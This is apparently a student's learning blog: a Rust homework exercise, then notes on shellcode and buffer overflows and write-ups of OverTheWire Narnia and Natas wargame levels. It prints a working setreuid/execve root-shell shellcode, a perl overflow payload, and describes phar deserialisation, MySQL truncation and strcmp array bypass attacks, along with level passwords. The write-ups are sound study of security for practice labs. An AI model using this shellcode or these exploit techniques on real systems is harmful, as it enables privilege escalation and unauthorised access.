First day in Rust language

TL;ND :

This blog includes the usage of these features: 

  1. Use Struct 
  2. Use option<>, Some()
  3. Use if statement
  4. Use fn to create a function
  5. Use For loop 

Details:

Well, practice is the best learning. Start my task in a simple coding task (in fact, it is one of my homework questions), here is the question:

Across the broad range of the multiverse, there are an infinite number of universes! These universes however follow a pattern, allowing us to write code in order to output the details of a universe, given its id.

You have been given a crate, multiverse, which does not compile!

Your task is to modify the given structure, get_universe_details function and the noted areas of the main function, inside multiverse/src/main.rs, such that it loops through id’s of 1-15, and prints out the universe details of the universe with that ID.

The universe lookup follows some basic rules:

  • If the universe id is divisible by 3 – then that universe is the star wars universe, where the rebels won and the population is the max number that a u32 can fit!
  • If the universe id is divisible by 5 – then it is the miraculous ladybug universe, where the villian Hawk Moth won, leaving the universe with a population of 22.
  • Finally, if the universe id is divisible by both 5 and 3 – then it is the Stardew Valley universe, where the evil Jojo Corp won, leaving a population of only one!

Here is the anwser (of course in Rust language):

use std::string;

// hmm this doesn't look right!!(forget this)
struct universe_details {
universe_name: String,
universe_winner: String,
universe_population: u32,

}


fn get_universe_details(universe_id: u32) -> Option<universe_details> {
// does this even compile??()
if universe_id % 3 == 0 && universe_id % 5 != 0 {
Some(universe_details {
universe_name: String::from("Star Wars"),
universe_winner: String::from("rebel"),
universe_population: 4294967295,
})
} else if universe_id % 5 == 0 && universe_id % 3 != 0 {
Some(universe_details {
universe_name: String::from(" Miraculous"),
universe_winner: String::from("Hawk Moth"),
universe_population: 22,
})
} else if universe_id % 3 == 0 && universe_id % 5 == 0 {
Some(universe_details {
universe_name: String::from("Stardew Valley"),
universe_winner: String::from("Jojo Corp"),
universe_population: 1,
})
} else {
None
}
}


// this main function is fine, except for two gaps
// the print statements could make use of "{variable}" instead of
// ("{}", variable)
fn main() {
for id in 1..=15 {
let universe_details = get_universe_details(id);
if let Some(details) = universe_details {
println!("Universe with id {} is called {}, won by {} and has a population of {}",
id,
details.universe_name,
details.universe_winner,
details.universe_population
);
} else {
println!("Universe with id {id} is unknown");
}
}
}

The use of struct in Rust language is quite like what in Python and C language, we build our data style and it can be used as a normal data type. It’s just like a big bag or a kind of Excel(???). We put whatever we want into it and make it easy for us to use. Remember, every feature in Struct should end with a “,” not “;”.

The If statement is also similar to what is in Python and C. Just allow us to choose among different selections. Only one thing needs our attention —— in Rust, every IF needs an ELSE or ELSE IF statement, except IF LET. IF LET is a “crap crap”(I use this world to discribe a feature are used only for Rust language) feature, it is a simplifyed MATCH statement, always be used as:

if let Some(x) = 123{
// Do something
}else {
// Do something else
}

It can easily tests if a pattern matches and deconstructs a value in case of a match. Always use with Some() <- another “crap” function, means:”there are something on this variable, or None“. Option<…> is also “crap”: Type Option represents an optional value: every Option is either Some and contains a value, or None, and does not. Very useful in Rust code.

FN <- use to make a function, like def in Python. Remember, if a function is declear like this:

fn some_function(some_type) -> option<some_type>{
// Do something
}

Its return type should be somthing like Some(…) and None. Function in Rust will take its last behavior as return value automatically, or we can use RETURN to change that value.

For loop is the same with Python, but I notice one thing:

  1. For i in 1..15 means 1 -> 14
  2. For i in 1 ..= 15 means 1 -> 15

That’s all I learnt today, it is really a shit job to learn a new language. However, I will keep going —— For honor and glory.

shell code learning

There is simply so much to know about this one, I’ve spent a week on it. I am now like a drowning child on the verge of drowning in a sea of knowledge! Here is some simple knoweldge I learn from shellcode:

I have collected a few common types of Shellcode below, mainly for learning to use. It is actually a general software programme, mainly because of the “unreadability” of the binary code, which adds to the mystery.

Shellcode is a self-contained binary code that can be used to perform a specific task. Depending on the task, it may be to issue a system call or to create a high-privilege shell, from which the name Shellcode is derived. Its ultimate goal is to gain control of the target machine, so it is generally used by attackers to exploit system vulnerabilities into the system to execute, so as to obtain special privileges of the execution environment, or to set up a privileged account for their own Shellcode due to the operating system there are some differences, here to Linux as an example.


Shellcode is a piece of highly skilled software code, in order to be small and precise, generally written directly as hexadecimal opcodes, of course, the writers generally use C or assembly to write, and then become hexadecimal opcodes through the assembler.

1. to obtain special privileges: the target of the attack is usually a SUID (with high privileges of the system program) program, because it can have higher privileges to perform some commands (such as repair passwords, etc.), a good SUID program will be unnecessary to give up excessive privileges, and then reset to obtain the privileges when needed. setreuid is used to set (restore) the process of the real and valid user ID. This, of course, allows you to set the privileges of root (0).
xor ebx,ebx Parameter 1: real user id (ruid)=0
xor ecx,ecx Parameter 2: valid user id (euid)=0
xor eax,eax
mov al,0x46 system call 0x46
int 0x80 set setreuid(0,0)
With root(0) user rights, the system is basically under your command.


2. the execution of /bin/sh: With the privileges, but also a “studio”, shell is a common Linux console, to obtain a privileged shell, you can let you “at will” work. The establishment of a shell is not complicated, generally used execve call execution /bin/sh software
char *shell[2];
shell[0]=”/bin/sh”;
shell[1]=0;
execve(shell[0],shell,NULL).

The call is simple to write in C, and the corresponding assembly code is uncomplicated:



Combining the above two parts, it is the most common Shellcode, the specific generated hex code is as follows (35 bytes in total):
“\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80 ;setreuid(0,0)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80″
;

Execute /bin/sh


This code can be placed in a buffer and executed by pointer function calls. Running this code opens a shell interface with root(0) privileges when execution rights are gained by a buffer overflow, for example.
Shellcode may have strict limitations in different occasions, for example, in the case of a command line overflow vulnerability, it cannot be too large, there is no effective space to store the code, so the length of the code should be strictly streamlined. In the case of SQL injection on the length of the requirements are even more stringent , so many of the industry’s popular and excellent Shellcode is the result of a variety of skills refined . Shellcode is the attack on the injection code of the general term , is not necessarily to open the Shell , according to the vulnerability of the characteristics of the program itself there are a lot of changes , interested friends can be collected from the Internet .

It’s too late. Let’s see this today. It’s almost two o’clock and the report is due on Friday. Well, maybe I don’t have enough time to finish narnia before the deadline, it’s okay, I’m only 23 so I have plenty of time.

Buffer overflow deep study

This is from a Wednesday class on a particular day, and I thought it was detailed enough before, but obviously it wasn’t enough, and I did some studying on my own!

A buffer overflow is an anomaly that causes neighbouring memory locations to be overwritten when software writes data into a buffer that overflows the buffer’s capacity. In other words, excess information is passed into containers that do not have enough space, and this information eventually replaces the data in the adjacent containers.

An attacker can use a buffer overflow to modify a computer’s memory in order to corrupt or control the execution of a programme.

Let me use some impage from Internet(In this website: https://www.cloudflare.com/zh-cn/learning/security/threats/buffer-overflow/)

An attacker can deliberately feed carefully crafted input into a program, which will attempt to store that input in a buffer that is not large enough, so the input overwrites a portion of memory attached to the buffer space. If the memory layout of the program is well defined, the attacker can deliberately overwrite areas known to contain executable code. The attacker can then replace this code with executable code of their own, which can drastically change the way the program works.

For example, if the overwritten portion of memory contains a pointer (to an object in another location in memory), the attacker’s code can replace that code with another pointer to the exploit payload. This would transfer control of the entire programme to the attacker’s code.

Some programming languages are more susceptible to buffer overflows than others.C and C++ are two popular languages that are more vulnerable because they do not contain built-in protections against accessing or overwriting data in memory.Windows, Mac OSX, and Linux all contain code written in these two languages.

More modern languages such as Java, PERL, and C# have built-in features that can help reduce the chance of buffer overflows, but cannot completely prevent them.

There are many types of buffer overflow attacks that use different strategies and target different code segments. Here are some of the most well-known types.

Stack Overflow Attacks – This is the most common type of buffer overflow attack and involves a buffer overflow on the call stack.

1. Heap Overflow Attack – This type of attack targets data in an open pool of memory called the heap*.


2. Integer Overflow Attack – In an integer overflow, an arithmetic operation results in an integer that is too large for the type of integer to be stored as a result; this can result in a buffer overflow.


3. Unicode Overflow – A Unicode overflow creates a buffer overflow by inserting Unicode characters into input that requires ASCII characters. (ASCII and unicode are encoding standards that allow computers to represent text. For example, the letter “a” is represented by the number 97 in ASCII. While ASCII is only used to represent characters in Western languages, unicode can create characters for almost any written language on earth. Because there are more characters available in unicode, many unicode characters are larger than the largest ASCII characters.)

Here is an example code:

Let’s not write up where the holes are in this code and wait for a future me to discover them. Tip for myself: watch the length of ‘num_elements’!

Narnia 0 (buffer overflow)

Classical, very classical. Here is the source code:

narnia0: narnia0
note: ls -ahl
eaa6AjYMBB
perl -e ‘print “A”x20 . “\xef\xbe\xad\xde” . “B”x4072 . “cat /etc/ narnia_pass/narnia1″‘ | ./narnia0
buffer overflow

  1. Going into the /narnia directory to view the narnia0.c source code, it was found that the value of the val variable needs to be changed to: 0xdeadbeef in order to get the shell.
  2. It was found that val can be modified by inputting data beyond the length of the buf[20] array.
  3. By (python -c ‘print “a “*20+”\xef\xbe\xad\xde”‘ ;cat) to modify the value of val, note that you need to add cat command to get the EOF terminator, otherwise the program will be executed. Otherwise, the programme will exit directly after system(“/bin/sh”).

That’s funny, I want know more, but not today XD. Today is K2 VS LNG, I must watch this math!

natas 33-34

Username: natas33
Password: Ihchno1voinhchisaieem1ainge
URL:http://natas33.natas.labs.overthewire.org/

(I change the point colour into blue)

Looking at the source code, we know that the server executes the uploaded file when its MD5 checksum matches adeafbadbabec0dedabada55ba55d00d. It’s easy to think of an MD5 collision, however it’s useless here because it’s limited to 4096 bytes.

Looking at the front-end code, you’ll see that we can modify two parameters, the filename and the contents of the file. In the following code, we can see that the filename is set with session_id as the default value. And the source code has no restriction on the type of the uploaded file.

Continuing to audit the source code, we found that the __destruct() magic method was called when the class was destroyed, and guessed that there might be a PHP deserialisation vulnerability in the code.

We use the deserialisation vulnerability, usually with the help of the unserialize() function, but as people’s awareness of security increases, this vulnerability is becoming more and more difficult to exploit, but at the Blackhat 2018 conference in August 2018, Sam Thomas, a security researcher from Secarma, talked about a new way of attacking PHP applications, which is to use the __destruct() magic method to destroy a class without using the __destruct() magic method. Using this method it is possible to trigger the PHP deserialisation vulnerability without using the unserialize() function. The vulnerability is triggered by using the Phar:// pseudo-protocol to deserialise information stored in meta-data when reading a phar file (article at https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It%27s-A-PHP-). Unserialisation-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf).
Phar file structure

The Phar file contains three to four main sections:

1. A stub

The basic structure of the stub: 2. a manifest describing the contents

Some information about the compressed file in the Phar file, where the Meta-data part of the information will be stored in deserialised form, which is the key point of the exploit.
3. the file contents

The file contents of the compressed file, in the absence of special requirements, the compressed file contents can be written casually, because we use this vulnerability is mainly to trigger its deserialisation
4. a signature for verifying Phar integrity

a signature for verifying Phar integrity
Attempting to obtain a password using the phar deserialisation vulnerability
I. Serialisation
According to the file structure let’s build our own phar file (php has a built-in Phar class) with the following code:

Finally, change the filename to phar://test.phar/test.txt to force the md5_file() function to parse the phar document and get the flag.

red point error

Now I finally know why there’s a red dot every time I take a screenshot. I used windowszidaide screenshot and after framing the screenshot I used ctrl C + ctrl V to copy it to the blog.

The problem is that the ctrl key is the default annotation key. Whenever I use the ctrl key, the system defaults to the fact that I want to annotate the image with a red brush, which is why every time I get a red dot on my image, that’s where I mouse click to select the image.
This is actually quite good, make it my personal watermark!

natas 27-28 mysql overflow

This level is very difficult, especially for me who doesn’t know MySQL, so I checked some information online.

Username: natas27
Password: N9PVzCpPZuDPVzCJ5b3BnbG6OzCJ5b
URL:http://natas27.natas.labs.overthewire.org/

Checking the source code, I was trying to get the password through sql injection, but it’s hard to achieve:
Firstly, the source code escapes the special characters in the input username and password with the mysql-real-escape-string() function to prevent sql injection;
Secondly, it’s also difficult to get around if you want to: $password is enclosed using ”, which can’t be bypassed with like wildchar and number.
(See https://www.sqlinjection.net/advanced/php/mysql-real-escape-string/)

Continuing the analysis, the flow is summarised as follows:
Receive Input -> check if user exist -> if exist check credentials -> show data.
Receive Input -> check if user exist -> if dosen’t -> create user.
That is, after the background gets the username/password entered by the user, it will first check if the username exists, if it exists, check credentials and show data; if it doesn’t exist, create user.

At the same time, verifying that the username/password is correct is just a matter of seeing if the return array is > 0.

It is easy to imagine, if we insert a target account and the same line, even if we do not know the password, checkCredentials () function to find the results of the array will be > 0 and return true, and then dumpData () function may show back the real user and password. (Note that only one line will be displayed here, although dumpData () is a while loop, but the inner layer directly return print_r ($row, true))

There are two things that need to be implemented to insert data:
One is that the validUser() function does not find the user;
The second is that the username after storage and the target username to be the same, the password set yourself.

So how to achieve the insertion of the user name and the target username the same, but also make validUser () function can not find it?

Here also want to refer to two mysql inside the knowledge point :

First, the string storage if the “overflow”, mysql will automatically truncate to the maximum width;
Secondly, the space in the varchar will be automatically removed.

So, the correct insertion is “natas28 + more than 64 bytes of consecutive spaces + xxx” (note that the latter xxx is necessary, because in mysql ‘natas28’ = ‘ natas28+space’), and the password is optional and can be empty.

When comparing username mysql doesn’t truncate the submitted username, so it determines that the username doesn’t exist and starts a new username and password. Once it starts storing, an overflow/interception occurs, resulting in two lines with the same username as ‘natas28’. Then return to the login screen and enter natas28 + password. The seek operation returns the array just inserted (>0), so the query is successful, and the username and password are displayed back, and it’s the first natas28 line that’s displayed back, which is the flag we’re trying to get.
First of all, enter
Username: natas28 xxx
Password: aaa
The return is as follows:

rename and retry

natas Level 24-25 strcmap()

The function is broken…. Very interesting.

Username: natas24
Password: OsRxSpoAduo98564TZX14z379LZveg
URL:http://natas24.natas.labs.overthewire.org/

source code:

The strcmp() function exists, strcmp() function’s role is to compare two strings, the same as 0. This naturally thought of strcmp vulnerability, strcmp function can not compare arrays, it will return 0, the passwd input as an array can be bypassed!

Extension – strcmp vulnerability

PHP strcmp(str1, str2) function: compares two strings (case sensitive).
Returns < 0 if str1 is smaller than str2; > 0 if str1 is larger than str2; 0 if both are equal.

The expected data type is a string, but if we pass in non-string data, how will this function behave? In fact, the function will throw an error if it receives a non-conforming type. In php version 5.2 and earlier, comparing arrays to strings using the strcmp function returned -1, but since 5.3, it has returned 0! That is, although an error was reported, it was determined to be equal. This is a fatal flaw in code that uses this function to make judgements.